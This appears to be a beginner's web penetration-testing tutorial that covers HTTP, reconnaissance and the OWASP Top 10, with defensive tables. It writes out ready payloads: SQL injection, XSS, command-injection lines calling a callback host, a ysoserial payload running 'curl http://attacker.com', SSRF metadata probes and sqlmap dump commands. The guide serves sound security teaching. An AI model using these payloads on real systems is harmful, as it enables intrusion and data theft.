Skip to content
SecureKhan
Go back

Web Application Pentesting: The Complete Beginner's Guide

Web applications are the most common attack surface in modern organizations. From banking portals to social media, nearly every business relies on web apps. This guide teaches you how to find and exploit vulnerabilities in web applications - the core skill of any penetration tester.

This is Part 2 of the pentesting series - make sure you’ve read Network Fundamentals first.

Related: For API-specific testing, see API Security OWASP Top 10 and API Pentesting Cheat Sheet.


Quick Reference

Essential Commands

TaskCommand
Directory enumerationgobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
Subdomain enumerationffuf -u http://FUZZ.target.com -w subdomains.txt -mc 200
Technology fingerprintwhatweb http://target.com
Vulnerability scannikto -h http://target.com
SQL injection testsqlmap -u "http://target.com?id=1" --dbs
XSS scanningdalfox url "http://target.com?q=test"
SSL/TLS checktestssl.sh https://target.com
Intercept trafficBurp Suite proxy on 127.0.0.1:8080
Spider applicationgospider -s http://target.com -o output
Find parametersarjun -u http://target.com/page

HTTP Status Codes for Pentesters

CodeMeaningPentester Significance
200OKNormal response - check content
301/302RedirectTest for open redirect vulnerabilities
400Bad RequestPotential parsing/injection point
401UnauthorizedAuthentication required - try bypass
403ForbiddenAccess control - try bypass techniques
404Not FoundDirectory enumeration indicator
405Method Not AllowedTry other HTTP methods
500Server ErrorPotential vulnerability - investigate
502/503Gateway/Service ErrorBackend issues - may reveal architecture

Essential Tools

Burp Suite | OWASP ZAP | ffuf | gobuster | sqlmap | Nikto | Nuclei


1. HTTP Protocol Deep Dive

TL;DR: HTTP is the language of the web. Every web vulnerability involves manipulating HTTP requests or exploiting how servers handle responses. Master this first.

1.1 HTTP Request Structure

Every HTTP request has three parts:

POST /login HTTP/1.1                    <- Request Line
Host: target.com                        <- Headers
User-Agent: Mozilla/5.0
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
                                        <- Empty line
username=admin&password=test            <- Body

Request Line Components:

Important Headers for Pentesters:

HeaderPurposeAttack Relevance
HostTarget domainVirtual host attacks, host header injection
CookieSession dataSession hijacking, cookie manipulation
AuthorizationAuth tokensToken theft, JWT attacks
Content-TypeBody formatContent-type confusion attacks
User-AgentClient identifierWAF bypass, fingerprinting
RefererPrevious pageCSRF bypass, access control bypass
X-Forwarded-ForOriginal client IPIP spoofing, access control bypass

1.2 HTTP Response Structure

HTTP/1.1 200 OK                         <- Status Line
Server: Apache/2.4.41                   <- Headers (info disclosure!)
Set-Cookie: session=xyz789; HttpOnly
Content-Type: text/html
X-Frame-Options: DENY
                                        <- Empty line
<!DOCTYPE html>...                      <- Body

Security Headers to Check:

HeaderPurposeMissing = Vulnerable To
Content-Security-PolicyXSS mitigationXSS, code injection
X-Frame-OptionsClickjacking preventionClickjacking
X-Content-Type-OptionsMIME sniffing preventionMIME confusion
Strict-Transport-SecurityForce HTTPSSSL stripping
X-XSS-ProtectionBrowser XSS filterXSS (legacy browsers)

1.3 HTTP Methods

MethodPurposeSecurity Concerns
GETRetrieve dataParameters in URL (logged, cached)
POSTSubmit dataBody data, CSRF if no tokens
PUTUpdate/create resourceUnauthorized file upload
DELETERemove resourceUnauthorized deletion
PATCHPartial updateSame as PUT
OPTIONSCheck allowed methodsInformation disclosure
HEADGet headers onlySame as GET without body
TRACEEcho request backXST (Cross-Site Tracing)

Testing Checklist:

Commands

View raw HTTP request/response

curl -v http://target.com

# Send POST request
curl -X POST http://target.com/login \
     -d "username=admin&password=test"

# Custom headers
curl -H "X-Forwarded-For: 127.0.0.1" http://target.com

# Test different methods
curl -X OPTIONS http://target.com -v
curl -X PUT http://target.com/test.txt -d "test"
curl -X DELETE http://target.com/file.txt

1.4 Cookies and Sessions

Cookie Attributes:

AttributePurposeSecurity Impact
HttpOnlyNo JavaScript accessPrevents XSS cookie theft
SecureHTTPS onlyPrevents interception
SameSiteCross-site restrictionsCSRF protection
DomainCookie scopeSubdomain access
PathURL path scopeDirectory access
Expires/Max-AgeLifetimeSession persistence
AttackDetectDefend
Session hijacking via XSSMonitor cookie access patternsHttpOnly flag
Session interceptionMonitor for HTTP cookie transmissionSecure flag
Cross-site request forgeryCSRF token validationSameSite=Strict
Session fixationLog session ID changes pre/post loginRegenerate session on auth

Testing Checklist:

Commands
# View cookies
curl -c cookies.txt -b cookies.txt http://target.com -v

# Check Set-Cookie headers
curl -I http://target.com/login | grep -i set-cookie

# In browser DevTools: F12 -> Application -> Cookies

1.5 HTTPS and TLS

TL;DR: Check for weak TLS configurations, expired certificates, and mixed content.

Testing Checklist:

Commands
# Comprehensive SSL/TLS test
testssl.sh https://target.com

# Quick cipher check
nmap --script ssl-enum-ciphers -p 443 target.com

# OpenSSL check
openssl s_client -connect target.com:443

# Check certificate
echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -text

2. Web Application Architecture

TL;DR: Understand the components of a web app to know where vulnerabilities hide. Each layer (client, server, database) has its own attack surface.

2.1 Typical Architecture

[Browser] <--HTTP/S--> [Web Server] <---> [App Server] <---> [Database]
    |                       |                  |                 |
  Client              Apache/Nginx         PHP/Node/         MySQL/
  (HTML/JS)           Load Balancer        Python/.NET       PostgreSQL

Components and Attack Surfaces:

ComponentExamplesCommon Vulnerabilities
FrontendHTML, CSS, JavaScriptXSS, DOM manipulation, exposed secrets
Web ServerApache, Nginx, IISMisconfigs, directory listing, verb tampering
App ServerPHP, Node.js, Python, JavaInjection, logic flaws, deserialization
DatabaseMySQL, PostgreSQL, MongoDBSQL injection, NoSQL injection
CacheRedis, MemcachedCache poisoning, unauthorized access
CDNCloudflare, AkamaiBypass, cache deception

2.2 Same-Origin Policy (SOP)

What it is: Browser security that prevents scripts on one origin from accessing data on another origin.

Origin = Protocol + Domain + Port

2.3 CORS (Cross-Origin Resource Sharing)

What it is: A mechanism to relax SOP and allow controlled cross-origin requests.

Dangerous CORS Configurations:

ConfigurationRisk
Access-Control-Allow-Origin: *Anyone can read responses
Origin reflection without validationAttacker origin allowed
Access-Control-Allow-Credentials: true with *Credential theft

Testing Checklist:

Commands
# Check CORS headers
curl -H "Origin: https://evil.com" -I http://target.com/api

# Look for:
# Access-Control-Allow-Origin: https://evil.com  <- BAD (reflects evil origin)
# Access-Control-Allow-Credentials: true         <- Worse with above

2.4 Authentication vs Authorization

ConceptQuestionVulnerability If Broken
Authentication”Who are you?”Account takeover, impersonation
Authorization”What can you do?”Privilege escalation, data access

Common Auth Mechanisms:


3. Reconnaissance and Enumeration

TL;DR: The more you know about the target, the more vulnerabilities you’ll find. Map everything before attacking.

3.1 Passive Reconnaissance

What: Gathering information without directly touching the target.

AttackDetectDefend
Google dorkingCannot easily detectRemove sensitive files, robots.txt
Wayback MachineN/ARequest removal of old versions
Certificate transparencyN/AExpected behavior, no defense needed
GitHub searchingMonitor for leaked credsSecret scanning, education

Testing Checklist:

Commands
# Certificate transparency (find subdomains)
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Subdomain enumeration
subfinder -d target.com
amass enum -passive -d target.com

# GitHub dorking (manual)
# Search: "target.com" password
# Search: "target.com" api_key
# Search: "target.com" secret

# Wayback URLs
waybackurls target.com | tee wayback.txt

3.2 Active Reconnaissance

What: Directly interacting with the target to gather information.

AttackDetectDefend
Port scanningIDS/firewall alertsProper firewall rules
Directory brute forceWAF, log analysisCustom 404 pages, rate limiting
Technology fingerprintingN/AObscure version info
Virtual host enumerationLog unusual Host headersDefault vhost handling

Testing Checklist:

Commands
# Technology fingerprinting
whatweb http://target.com
# Or use Wappalyzer browser extension

# Directory enumeration
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

# File discovery
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt

# Virtual host discovery
gobuster vhost -u http://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
ffuf -u http://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -mc 200

# Parameter discovery
arjun -u http://target.com/page
paramspider -d target.com

Expected gobuster output:

/admin                (Status: 403) [Size: 287]
/backup               (Status: 200) [Size: 1234]
/config.php.bak       (Status: 200) [Size: 456]  <- Interesting!
/uploads              (Status: 301) [Size: 312]

3.3 Application Mapping

Testing Checklist:


4. OWASP Top 10 Web Vulnerabilities (2021)

Quick Reference

#VulnerabilityOne-Liner Test
A01Broken Access ControlChange user ID, access admin pages
A02Cryptographic FailuresCheck for HTTP, weak TLS
A03InjectionAdd ' or " to inputs
A04Insecure DesignTest business logic flaws
A05Security MisconfigurationDefault creds, verbose errors
A06Vulnerable ComponentsCheck versions for CVEs
A07Auth FailuresTest password reset, sessions
A08Software Integrity FailuresCheck update mechanisms
A09Logging FailuresTest if attacks are logged
A10SSRFTest URL params with internal IPs

4.1 A01: Broken Access Control

TL;DR: Can you access resources you shouldn’t? Change IDs, access admin pages, modify other users’ data.

AttackDetectDefend
IDOR - change object IDsAlert on cross-user accessValidate ownership server-side
Forced browsing to adminLog 403 responsesDeny by default, proper RBAC
Privilege escalationMonitor role parameter changesServer-side role validation
Path traversalWAF rules, log ../ attemptsValidate and sanitize file paths

Testing Checklist:

Commands
# Test IDOR
# Original request accesses user 123's data
curl -H "Cookie: session=YOUR_SESSION" "http://target.com/api/users/123/profile"

# Try accessing user 124's data with YOUR session
curl -H "Cookie: session=YOUR_SESSION" "http://target.com/api/users/124/profile"

# Forced browsing
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

# Path traversal
curl "http://target.com/download?file=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"  # Filter bypass
curl "http://target.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"  # URL encoded

Vulnerable response (IDOR):

HTTP/1.1 200 OK
{"id": 124, "email": "victim@example.com", "ssn": "123-45-6789"}

Secure response:

HTTP/1.1 403 Forbidden
{"error": "Access denied"}

4.2 A02: Cryptographic Failures

TL;DR: Is sensitive data protected? Check for HTTP, weak encryption, exposed credentials.

AttackDetectDefend
Traffic interception (HTTP)N/AEnforce HTTPS, HSTS
Weak cipher exploitationMonitor cipher usageTLS 1.2+, strong ciphers only
Password hash crackingN/Abcrypt/scrypt, salting
Exposed sensitive dataData loss preventionEncryption at rest and in transit

Testing Checklist:

Commands
# Test SSL/TLS
testssl.sh https://target.com

# Check for sensitive data exposure
curl -s http://target.com/api/user | grep -iE "password|ssn|secret|key|token"

# Check JavaScript for secrets
curl -s http://target.com/js/app.js | grep -iE "api_key|secret|password|token"

# Check HSTS
curl -I https://target.com | grep -i strict-transport

4.3 A03: Injection

TL;DR: Can you inject malicious code? Test every input field with SQL, XSS, and command injection payloads.

SQL Injection

AttackDetectDefend
Union-based SQLiWAF, query loggingParameterized queries
Boolean-based blindTiming analysisInput validation
Time-based blindSlow query alertsStored procedures
Error-basedError monitoringCustom error pages

Testing Checklist:

Commands
# Manual testing
curl "http://target.com/search?q=test'"
curl "http://target.com/search?q=test' OR '1'='1"
curl "http://target.com/search?q=test' UNION SELECT NULL,NULL,NULL--"

# Automated with sqlmap
sqlmap -u "http://target.com/search?q=test" --dbs
sqlmap -u "http://target.com/search?q=test" -D database_name --tables
sqlmap -u "http://target.com/search?q=test" -D database_name -T users --dump

# POST request
sqlmap -u "http://target.com/login" --data="username=admin&password=test" -p username

# With cookies
sqlmap -u "http://target.com/profile?id=1" --cookie="session=abc123"

Vulnerable response:

You have an error in your SQL syntax; check the manual...

Cross-Site Scripting (XSS)

AttackDetectDefend
Reflected XSSWAF pattern matchingOutput encoding
Stored XSSContent monitoringInput sanitization
DOM-based XSSClient-side monitoringCSP headers, safe DOM methods

Testing Checklist:

Commands
# Basic payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><svg onload=alert(1)>
javascript:alert(1)
<body onload=alert(1)>

# Filter bypasses
<ScRiPt>alert(1)</ScRiPt>
<img src=x onerror="alert(1)">
<svg/onload=alert(1)>
<img src=x onerror=alert`1`>

# Automated XSS scanning
dalfox url "http://target.com/search?q=FUZZ"
xssstrike -u "http://target.com/search?q=test"

# Check for DOM XSS sources in JavaScript
# Look for: location.hash, location.search, document.URL, document.referrer

Vulnerable response (reflected XSS):

<p>Search results for: <script>alert(1)</script></p>

Command Injection

AttackDetectDefend
OS command injectionProcess monitoring, WAFAvoid system calls, input validation
Blind command injectionDNS/HTTP callback monitoringWhitelist allowed inputs

Testing Checklist:

Commands
# Test payloads (in vulnerable parameter)
; ls -la
| cat /etc/passwd
`whoami`
$(id)
; ping -c 5 127.0.0.1
; sleep 10

# Blind detection (use Burp Collaborator or webhook.site)
; curl http://YOUR-CALLBACK-URL/$(whoami)
; nslookup YOUR-CALLBACK-URL
; wget http://YOUR-CALLBACK-URL

# Automated testing
commix -u "http://target.com/ping?ip=127.0.0.1"

4.4 A04: Insecure Design

TL;DR: Design flaws that can’t be fixed with code. Missing security controls, abuse of business logic.

Testing Checklist:

Examples

Business logic flaw:

# Change quantity to negative (get money back?)
POST /cart/update
{"item_id": 123, "quantity": -5, "price": 100}

# Change price
POST /cart/update
{"item_id": 123, "quantity": 1, "price": 0.01}

Race condition:

# Send multiple requests simultaneously
# Example: Redeem coupon multiple times
for i in {1..50}; do
  curl -X POST http://target.com/redeem -d "code=DISCOUNT50" &
done

4.5 A05: Security Misconfiguration

TL;DR: Default settings, verbose errors, unnecessary features enabled.

AttackDetectDefend
Default credentialsLogin monitoringChange all defaults
Directory listingAccess logsDisable directory listing
Verbose errorsError monitoringCustom error pages
Debug endpointsAccess logsDisable in production
Unnecessary HTTP methodsN/ADisable unused methods

Testing Checklist:

Commands
# Check directory listing
curl http://target.com/images/
curl http://target.com/uploads/

# Trigger errors
curl "http://target.com/api/user/'"
curl "http://target.com/api/user/999999999999999"

# Find admin interfaces
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

# Security headers check
curl -I http://target.com | grep -iE "x-frame|csp|hsts|x-content|x-xss"

# Backup files
gobuster dir -u http://target.com -w common.txt -x bak,old,txt,zip,tar.gz

# Debug endpoints
curl http://target.com/debug
curl http://target.com/actuator
curl http://target.com/console
curl http://target.com/.git/HEAD

Vulnerable directory listing:

Index of /backup/
[DIR] 2023/
[FILE] database.sql     1.2MB
[FILE] config.php.bak   2KB

4.6 A06: Vulnerable and Outdated Components

TL;DR: Old software has known exploits. Identify versions and check for CVEs.

Testing Checklist:

Commands
# Fingerprint technologies
whatweb http://target.com
nikto -h http://target.com

# Check JavaScript libraries
# In browser: F12 -> Console -> Type: jQuery.fn.jquery
# Or use Retire.js browser extension

# Search for exploits
searchsploit "apache 2.4"
searchsploit "wordpress 5.0"

# WordPress scanning
wpscan --url http://target.com --enumerate u,vp,vt

# Nuclei CVE scanning
nuclei -u http://target.com -t cves/

4.7 A07: Identification and Authentication Failures

TL;DR: Weak passwords, broken sessions, missing MFA. Test all authentication mechanisms.

AttackDetectDefend
Credential stuffingFailed login monitoringRate limiting, MFA, breach detection
Password sprayingDistributed login analysisAccount lockout, MFA
Session hijackingSession anomaly detectionSecure cookies, session binding
Brute forceFailed login alertsRate limiting, CAPTCHA, lockout

Testing Checklist:

Commands
# Username enumeration (different response for valid vs invalid)
ffuf -u "http://target.com/login" -X POST \
     -d "username=FUZZ&password=invalid" \
     -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
     -mr "Invalid password"  # Response for valid username

# Password spraying
hydra -L users.txt -p "Password123!" target.com http-post-form \
      "/login:username=^USER^&password=^PASS^:Invalid credentials"

# Check password reset
# 1. Request reset for your account
# 2. Check token format (predictable? short?)
# 3. Check if token expires
# 4. Check if token can be reused

4.8 A08: Software and Data Integrity Failures

TL;DR: Insecure deserialization, CI/CD compromises, unsigned updates.

Testing Checklist:

Deserialization Payloads

Java serialization (look for rO0 base64 prefix or aced hex):

# Use ysoserial to generate payloads
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com' | base64

PHP serialization (look for O: prefix):

O:4:"User":1:{s:4:"name";s:5:"admin";}

Python pickle (look for base64 encoded binary):

import pickle
import base64
payload = pickle.dumps({"command": "__import__('os').system('id')"})
print(base64.b64encode(payload))

4.9 A09: Security Logging and Monitoring Failures

TL;DR: If attacks aren’t logged, they won’t be detected. Test what gets logged.

Testing Checklist:


4.10 A10: Server-Side Request Forgery (SSRF)

TL;DR: Make the server request internal resources. Test any parameter that takes a URL.

AttackDetectDefend
Access internal servicesMonitor outbound requestsWhitelist allowed domains
Cloud metadata accessAlert on 169.254.169.254Block metadata IP
Port scanningMonitor internal connectionsNetwork segmentation
Protocol smugglingProtocol monitoringRestrict protocols (http/https only)

Testing Checklist:

Commands
# Basic SSRF payloads
http://127.0.0.1/admin
http://localhost/admin
http://[::1]/admin
http://169.254.169.254/latest/meta-data/  # AWS
http://metadata.google.internal/           # GCP

# IP variations for filter bypass
http://2130706433/          # Decimal IP (127.0.0.1)
http://0x7f000001/          # Hex IP
http://0177.0.0.1/          # Octal
http://127.1/               # Short form
http://127.0.0.1.nip.io/    # DNS rebinding service

# Protocol variations
file:///etc/passwd
gopher://internal:6379/_REDIS_COMMANDS
dict://internal:11211/stats

# Out-of-band detection
http://YOUR-BURP-COLLABORATOR-URL

Vulnerable response (AWS metadata):

{
  "AccessKeyId": "AKIA...",
  "SecretAccessKey": "...",
  "Token": "..."
}

5. Essential Tools

5.1 Burp Suite

The industry standard web proxy for testing.

Key Features:

Essential Extensions:

5.2 Directory/Content Discovery

# gobuster - Go-based, fast
gobuster dir -u http://target.com -w wordlist.txt -x php,html,txt -t 50

# ffuf - Flexible fuzzing
ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,302,403 -t 50

# feroxbuster - Rust-based, recursive
feroxbuster -u http://target.com -w wordlist.txt

# Recommended wordlists:
# /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
# /usr/share/seclists/Discovery/Web-Content/common.txt
# /usr/share/wordlists/dirb/big.txt

5.3 Vulnerability Scanners

# nikto - Web server scanner
nikto -h http://target.com

# nuclei - Template-based scanner
nuclei -u http://target.com -t cves/ -t vulnerabilities/

# wpscan - WordPress scanner
wpscan --url http://target.com --enumerate u,vp,vt,dbe

# sqlmap - SQL injection
sqlmap -u "http://target.com?id=1" --batch --risk=3 --level=5

Tool Reference

ToolPurposeQuick Command
Burp SuiteProxy/testingGUI - configure browser to 127.0.0.1:8080
OWASP ZAPFree proxy/scannerGUI or zap-cli quick-scan http://target
gobusterDirectory brute forcegobuster dir -u URL -w wordlist
ffufFuzzingffuf -u URL/FUZZ -w wordlist
sqlmapSQL injectionsqlmap -u URL --dbs
niktoWeb scannernikto -h URL
nucleiVulnerability scannernuclei -u URL -t cves/
whatwebFingerprintingwhatweb URL
wpscanWordPress scannerwpscan --url URL
dalfoxXSS scannerdalfox url URL

6. Testing Methodology

OWASP Testing Guide Phases

PhaseFocusKey Activities
Information GatheringReconnaissancePassive/active recon, fingerprinting
Configuration TestingMisconfigurationsHeaders, methods, files, defaults
Identity ManagementUser handlingRegistration, account provisioning
Authentication TestingLogin securityCredentials, sessions, MFA
Authorization TestingAccess controlIDOR, privilege escalation
Session ManagementSession handlingCookies, tokens, logout
Input ValidationInjection flawsSQLi, XSS, command injection
Error HandlingInformation leakageVerbose errors, stack traces
CryptographyEncryption flawsTLS, password storage
Business LogicLogic flawsWorkflow bypass, race conditions
Client-SideBrowser securityDOM XSS, clickjacking, postMessage

Comprehensive Testing Checklist

Full Checklist

Reconnaissance

  • Subdomain enumeration
  • Directory/file enumeration
  • Technology fingerprinting
  • Parameter discovery
  • JavaScript analysis

Authentication

  • Username enumeration
  • Password brute force (with lockout check)
  • Password reset flow
  • Session management
  • Remember me functionality
  • MFA bypass attempts
  • OAuth/SSO testing

Authorization

  • Horizontal privilege escalation (IDOR)
  • Vertical privilege escalation
  • Forced browsing
  • Path traversal

Injection

  • SQL injection (all parameters)
  • XSS (reflected, stored, DOM)
  • Command injection
  • LDAP injection
  • XML/XXE injection
  • Template injection (SSTI)
  • Header injection

Configuration

  • Default credentials
  • Directory listing
  • Backup files
  • Debug endpoints
  • Security headers
  • HTTP methods

Business Logic

  • Price/quantity manipulation
  • Multi-step process bypass
  • Race conditions
  • Referral abuse

Client-Side

  • Clickjacking
  • CORS misconfiguration
  • PostMessage vulnerabilities
  • Local storage sensitive data

7. Reporting Template

## Finding: [Vulnerability Name]

**Severity:** Critical / High / Medium / Low (CVSS X.X)
**CWE:** CWE-XXX
**URL:** https://target.com/vulnerable/endpoint
**Parameter:** [Vulnerable parameter name]

### Description
[Brief description of the vulnerability and its type]

### Steps to Reproduce
1. Navigate to https://target.com/vulnerable/endpoint
2. Intercept the request with Burp Suite
3. Modify the [parameter] to [payload]
4. Observe [vulnerability indicator]

### Proof of Concept
[Request]

POST /api/users/123 HTTP/1.1 Host: target.com Cookie: session=abc123

{“id”: 124} <— Modified to access another user


[Response]

HTTP/1.1 200 OK {“id”: 124, “email”: “victim@example.com”, “ssn”: “123-45-6789”}


### Impact
[Business impact - data exposure, account takeover, etc.]

### Remediation
[Specific fix recommendations]

### References
- OWASP: https://owasp.org/...
- CWE: https://cwe.mitre.org/...

8. Practice Labs

Vulnerable Applications

LabFocusSetup
DVWAOWASP Top 10 basicsdocker run -d -p 80:80 vulnerables/web-dvwa
Juice ShopModern web appdocker run -d -p 3000:3000 bkimminich/juice-shop
WebGoatOWASP learningdocker run -d -p 8080:8080 webgoat/webgoat
bWAPP100+ vulnerabilitiesDocker available
HackTheBoxReal scenarioshttps://hackthebox.com
TryHackMeGuided learninghttps://tryhackme.com
PortSwiggerIn-depth labshttps://portswigger.net/web-security
  1. PortSwigger Web Security Academy (Free, comprehensive)

    • All SQL injection labs
    • All XSS labs
    • All authentication labs
    • All access control labs
  2. TryHackMe Rooms

    • OWASP Top 10
    • Burp Suite Basics
    • SQL Injection
    • XSS
    • Web Fundamentals
  3. HackTheBox (when ready for challenges)

    • Starting Point machines
    • Easy-rated web machines

9. Glossary

TermDefinition
CORSCross-Origin Resource Sharing - browser mechanism for controlled cross-origin requests
CSRFCross-Site Request Forgery - forging authenticated requests from victim’s browser
CSPContent Security Policy - HTTP header to prevent XSS
DOMDocument Object Model - browser’s representation of the page
HSTSHTTP Strict Transport Security - forces HTTPS connections
IDORInsecure Direct Object Reference - accessing objects by changing IDs
JWTJSON Web Token - stateless authentication token
LFILocal File Inclusion - reading local files through application
RFIRemote File Inclusion - including remote files for execution
SOPSame-Origin Policy - browser security isolating origins
SQLiSQL Injection - manipulating database queries
SSRFServer-Side Request Forgery - making server request attacker-controlled URLs
SSTIServer-Side Template Injection - injecting into template engines
WAFWeb Application Firewall - filters malicious requests
XSSCross-Site Scripting - injecting client-side scripts
XXEXML External Entity - XML parser attack for file reading/SSRF

What’s Next?

Now that you understand web application pentesting, continue with:

  1. API Security OWASP Top 10 - API-specific vulnerabilities
  2. API Pentesting Cheat Sheet - Hands-on API testing
  3. Active Directory Attack Path - Internal network attacks
  4. Linux Privilege Escalation - Post-exploitation on Linux
  5. Windows Privilege Escalation - Post-exploitation on Windows

Questions or feedback? Open an issue on GitHub.


Share this post on:

Previous Post
Authentication Flows & Vulnerabilities: A Visual Whiteboard Guide
Next Post
PKI & Certificates for Pentesters: How Digital Trust Works